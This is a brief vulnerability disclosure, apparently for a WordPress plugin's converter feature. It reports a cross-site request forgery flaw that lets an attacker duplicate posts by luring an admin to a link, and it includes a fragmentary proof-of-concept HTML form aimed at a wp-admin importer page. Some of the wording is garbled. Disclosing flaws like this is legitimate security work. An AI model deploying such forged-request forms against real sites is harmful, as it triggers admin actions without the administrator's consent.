There is a CSRF vulnerability in Tooltipyas aKTTG Convertera feature which allows anybody able to convince an admin to follow a link to duplicate posts.

<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=my_keywords_settings_importer\">
<input type=\"text\" name=\"go\" value=\"true\">
